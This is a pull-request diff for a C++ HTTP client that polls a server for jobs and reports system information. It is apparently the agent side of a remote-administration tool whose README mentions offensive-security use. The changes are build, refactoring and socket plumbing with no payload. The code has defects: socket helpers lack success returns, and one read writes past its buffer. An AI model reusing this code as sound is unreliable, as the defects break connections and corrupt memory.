Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
33 changes: 31 additions & 2 deletions CMakeLists.txt
Original file line number Diff line number Diff line change
Expand Up @@ -39,6 +39,7 @@ set(SOURCES
${SOURCE_DIR}/json.cpp
${SOURCE_DIR}/utilities.cpp
${SOURCE_DIR}/operations.cpp
${SOURCE_DIR}/sharedResourceManager.cpp
)

# Optionally, add headers for IDEs or reference
Expand All @@ -48,6 +49,7 @@ set(HEADERS
${HEADER_DIR}/json.h
${HEADER_DIR}/utilities.h
${HEADER_DIR}/operations.h
${HEADER_DIR}/sharedResourceManager.h
)

# Create the executable (using only source files)
Expand All @@ -67,8 +69,35 @@ target_link_libraries(clienthttp PRIVATE CURL::libcurl)
find_package(Threads REQUIRED)
target_link_libraries(clienthttp PRIVATE Threads::Threads)

# Link against the stdc++fs library
target_link_libraries(clienthttp PRIVATE stdc++fs)
# Check for filesystem support
include(CheckCXXSourceCompiles)

# Ensure CMake performs its internal checks with C++17 (Required for checking <filesystem> / <experimental/filesystem> before buidling the project)
set(CMAKE_REQUIRED_FLAGS "${CMAKE_REQUIRED_FLAGS} -std=c++17")

# Test if <filesystem> is available
check_cxx_source_compiles("
#include <filesystem>
int main() { std::filesystem::path p; return 0; }
" HAS_FILESYSTEM)

# Test if <experimental/filesystem> is available if <filesystem> isn't
if(NOT HAS_FILESYSTEM)
check_cxx_source_compiles("
#include <experimental/filesystem>
int main() { std::experimental::filesystem::path p; return 0; }
" HAS_EXPERIMENTAL_FILESYSTEM)
endif()

# Set compiler definitions based on availability
if(HAS_FILESYSTEM)
message(STATUS "Using <filesystem>")
elseif(HAS_EXPERIMENTAL_FILESYSTEM)
message(STATUS "Using <experimental/filesystem>")
target_link_libraries(clienthttp PRIVATE stdc++fs) # Link against stdc++fs when using experimental/filesystem
else()
message(FATAL_ERROR "Neither <filesystem> nor <experimental/filesystem> is available.")
endif()

# Set linker flags to disable symbol generation
set_target_properties(clienthttp PROPERTIES LINK_FLAGS_RELEASE "-s")
Expand Down
19 changes: 0 additions & 19 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -59,25 +59,6 @@ cmake -DTARGET_ARCH=x64 ../
cmake -DTARGET_ARCH=x86 ../
```

### For C++17 supporting compilers
Starting with [C++17 compatible compilers](https://en.cppreference.com/w/cpp/compiler_support/17), the [std::filesystem](https://en.cppreference.com/w/cpp/filesystem) is part of the standard library. If you are using C++17 or later, you may **NOT** need to link stdc++fs because the standard library will include filesystem support by default so in that case just remove the below in CMAKELists.txt file i.e.

```
target_link_libraries(clienthttp PRIVATE stdc++fs)
```
Also make sure to replace the replace the below lines in "*src/utilities.cpp*" and "*src/operations.cpp*"
```
#include <experimental/filesystem>
namespace fs = std::experimental::filesystem;
```
with
```
#include <filesystem>
namespace fs = std::filesystem;
```

For other issues, please open thread in issue section.

### Disclaimer
This application is designed for personal and administrative use. It is not intended for unauthorized access, data manipulation, or any other malicious activity. Any use of this software for illegal purposes is strictly prohibited. You can use this service in offensive security scenarios on you own machine/network ONLY.
The author disclaims all liability for any misuse or damage caused by the application. Users are solely responsible for their actions and the consequences thereof.
Expand Down
3 changes: 1 addition & 2 deletions include/http.h
Original file line number Diff line number Diff line change
Expand Up @@ -26,6 +26,5 @@
#include "base64.h"

#define READ_BUFFER_SIZE 1024 // Receiving Buffer Size in bytes
#define TIMEOUT_SEC 3 // Wait period for incoming data in seconds

std::wstring httpPost(const std::wstring &hostname, const std::wstring &request);
std::wstring httpPost(const std::wstring &url, const std::wstring &port, const std::wstring &request);
26 changes: 19 additions & 7 deletions include/operations.h
Original file line number Diff line number Diff line change
Expand Up @@ -24,12 +24,24 @@
#include <string>
#include <queue>
#include <mutex>
#include "sharedResourceManager.h"

extern std::queue<std::wstring> responseQueue;
extern std::mutex responseQueueMutex;
extern std::queue<std::wstring> jobQueue;
extern std::mutex jobQueueMutex;
extern std::wstring jsonSysInfo;
#if __has_include(<filesystem>)
#include <filesystem>
namespace fs = std::filesystem;
#elif __has_include(<experimental/filesystem>)
#include <experimental/filesystem>
namespace fs = std::experimental::filesystem;
#else
#error "Neither <filesystem> nor <experimental/filesystem> are available."
#endif

bool isJobAvailable(const std::wstring &replyFromServer);
void startJob();

// extern std::queue<std::wstring> responseQueue;
// extern std::mutex responseQueueMutex;
// extern std::queue<std::wstring> jobQueue;
// extern std::mutex jobQueueMutex;
// extern std::wstring jsonSysInfo;

bool isJobAvailable(const std::wstring &replyFromServe);
void startJob(SharedResourceManager &sharedResources);
46 changes: 46 additions & 0 deletions include/sharedResourceManager.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
// Copyright (c) Nouman Tajik [github.com/tajiknomi]
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.


#pragma once
#include <queue>
#include <mutex>

class SharedResourceManager {

private:
std::queue<std::wstring> responseQueue;
std::mutex responseQueueMutex;
std::queue<std::wstring> jobQueue;
std::mutex jobQueueMutex;
std::wstring jsonSysInfo;
std::mutex jsonSysInfoMutex;



public:
void pushResponse(const std::wstring &response);
std::wstring popResponse(void);
void pushJob(const std::wstring &job);
std::wstring popJob(void);
bool isResponseAvailable(void);
void setSysInfoInJson(const std::wstring &sysInfoJson);
std::wstring getSysInfoInJson(void);
};
13 changes: 13 additions & 0 deletions include/utilities.h
Original file line number Diff line number Diff line change
Expand Up @@ -27,8 +27,21 @@
#include <vector>
#include <system_error>

#if __has_include(<filesystem>)
#include <filesystem>
namespace fs = std::filesystem;
#elif __has_include(<experimental/filesystem>)
#include <experimental/filesystem>
namespace fs = std::experimental::filesystem;
#else
#error "Neither <filesystem> nor <experimental/filesystem> are available."
#endif


#define RANDOM_NUMBER_LENGTH 15

bool isValidPort(const std::string& portNum);

bool hasWritePermissionForDirectory(const std::wstring &dirPath);

std::wstring changeDir(const std::wstring& newPath, std::error_code& ec);
Expand Down
132 changes: 79 additions & 53 deletions src/http.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -28,104 +28,100 @@
#include <unistd.h>
#include "utilities.h"
#include "json.h"
#include <chrono>
#include <thread>

// ============================ PRIVATE FUNCTIONS ============================

std::wstring httpPost(const std::wstring &hostname, const std::wstring &request) {
struct sockaddr_in sockaddr_in;
unsigned short server_port = 80;

/* Build the socket. */
int createTcpSocket(void){
/* Build the socket. */
struct protoent* protoent = getprotobyname("tcp");
if (protoent == NULL) {
perror("getprotobyname");
exit(-1);
return -1;
}
int socket_file_descriptor = socket(AF_INET, SOCK_STREAM, protoent->p_proto);
if (socket_file_descriptor == -1) {
int tcpSocket = socket(AF_INET, SOCK_STREAM, protoent->p_proto);
if (tcpSocket == -1) {
perror("socket");
exit(-1);
return -1;
}
}

int connectTcp(const int &socket, const std::wstring &url, const std::wstring &port){
/* Build the address. */
struct hostent *hostent = gethostbyname(ws2s(hostname).c_str());
struct hostent *hostent = gethostbyname(ws2s(url).c_str());
if (hostent == NULL) {
std::wcerr << "error: gethostbyname(\"" << hostname << "\")" << std::endl;
exit(-1);
std::wcerr << "error: gethostbyname(\"" << url << "\")" << std::endl;
return -1;
}
in_addr_t in_addr = inet_addr(inet_ntoa(*(struct in_addr*)*(hostent->h_addr_list)));
if (in_addr == (in_addr_t)-1) {
std::cerr << "error: inet_addr(\"" << *(hostent->h_addr_list) << "\")" << std::endl;
exit(-1);
return -1;
}
struct sockaddr_in sockaddr_in;
const unsigned short server_port = std::stoi(port);
sockaddr_in.sin_addr.s_addr = in_addr;
sockaddr_in.sin_family = AF_INET;
sockaddr_in.sin_port = htons(server_port);

/* Actually connect. */
if (connect(socket_file_descriptor, (struct sockaddr*)&sockaddr_in, sizeof(sockaddr_in)) == -1) {
/* connect. */
if (connect(socket, (struct sockaddr*)&sockaddr_in, sizeof(sockaddr_in)) == -1) {
//perror("connect");
close(socket_file_descriptor);
return std::wstring();
close(socket);
return -2;
}
}

int sendHttpRequest(const int &socket, const std::wstring &request){
ssize_t nbytes_total;
ssize_t nbytes_last;
size_t request_len = request.length();

/* Send HTTP request. */
nbytes_total = 0;
// while (nbytes_total < request_len) {
// nbytes_last = write(socket_file_descriptor, &request[nbytes_total], request_len - nbytes_total);
// if (nbytes_last == -1) {
// perror("write");
// close(socket_file_descriptor);
// return std::wstring();
// }
// nbytes_total += nbytes_last;
// }

while (nbytes_total < request_len) { // send data to server
std::wstring wideChunk = request.substr(nbytes_total);
std::string narrowChunk = ws2s(wideChunk);
size_t narrowBytesToSend = narrowChunk.length();
int nbytes_last = write(socket_file_descriptor, narrowChunk.c_str(), static_cast<int>(narrowBytesToSend));
if (nbytes_last == -1) {
// std::cerr << "send failed with error: " << WSAGetLastErrorFunc() << std::endl;
close(socket_file_descriptor);
// cleanupFunc();
// FreeLibrary(hWS2_32);
return std::wstring();
}
nbytes_total += nbytes_last; // Increment by the number of bytes sent
std::wstring wideChunk = request.substr(nbytes_total);
std::string narrowChunk = ws2s(wideChunk);
size_t narrowBytesToSend = narrowChunk.length();
int nbytes_last = write(socket, narrowChunk.c_str(), static_cast<int>(narrowBytesToSend));
if (nbytes_last == -1) {
close(socket);
return -1;
//return std::wstring();
}
nbytes_total += nbytes_last; // Increment by the number of bytes sent
}
}

/* Read the response with timeout. */
std::wstring recvHttpResponse(const int &socket){
/* Read the response with timeout. */
char readBuff[READ_BUFFER_SIZE] = {};
ssize_t nbytes=0;

fd_set read_fds;
FD_ZERO(&read_fds);
FD_SET(socket_file_descriptor, &read_fds);
FD_SET(socket, &read_fds);

struct timeval timeout;
timeout.tv_sec = TIMEOUT_SEC;
timeout.tv_usec = 0;
timeout.tv_sec = 0;
timeout.tv_usec = 500 * 1000; // 500 miliseconds

std::string tmpDataRead;
int select_result = select(socket_file_descriptor + 1, &read_fds, NULL, NULL, &timeout);
int select_result = select(socket + 1, &read_fds, NULL, NULL, &timeout);
if (select_result == -1) {
perror("select");
close(socket_file_descriptor);
// perror("select");
close(socket);
return std::wstring();
}
else if (select_result == 0) {
// Timeout occurred, no data received within 2 seconds
//std::cout << "Timeout occurred. No data received within 2 seconds." << std::endl;
close(socket_file_descriptor);
close(socket);
return std::wstring();
}
if (FD_ISSET(socket_file_descriptor, &read_fds)) {
while ((nbytes = read(socket_file_descriptor, readBuff, READ_BUFFER_SIZE)) > 0) {
if (FD_ISSET(socket, &read_fds)) {
while ((nbytes = read(socket, readBuff, READ_BUFFER_SIZE)) > 0) {
// Process the received data
//write(STDOUT_FILENO, readBuff, nbytes);
readBuff[nbytes] = 0x00;
Expand All @@ -134,16 +130,46 @@ std::wstring httpPost(const std::wstring &hostname, const std::wstring &request)
}
if (nbytes == -1) {
perror("read");
close(socket_file_descriptor);
close(socket);
return std::wstring();
}
std::wstring readBuffStr(s2ws(tmpDataRead));
size_t found = readBuffStr.find(L"\r\n\r\n");
return s2ws(tmpDataRead);
}


// ============================ PUBLIC API ============================

std::wstring httpPost(const std::wstring &url, const std::wstring &port, const std::wstring &request) {

const int tcpSocket = createTcpSocket();
if(tcpSocket == -1){
exit(-1);
}

int retValue = connectTcp(tcpSocket, url, port);
if(retValue == -1){
exit(-1);
}
else if(retValue == -2){ // Client is unable to connect to the server ( either client doesn't have internet or server is offline )
std::this_thread::sleep_for(std::chrono::seconds(1));
return std::wstring();
}

retValue = sendHttpRequest(tcpSocket, request);
if(retValue == -1){
return std::wstring();
}
std::wstring readBuffStr = recvHttpResponse(tcpSocket);
if(readBuffStr.empty()){
return std::wstring();
}

const size_t found = readBuffStr.find(L"\r\n\r\n");
std::wstring decodedData;
if (found != std::string::npos){
std::string b64Data = extractBase64Data(readBuffStr.substr(found));
decodedData = s2ws(base64_decode(b64Data.c_str()));
}
close(socket_file_descriptor);
close(tcpSocket);
return decodedData;
}
Loading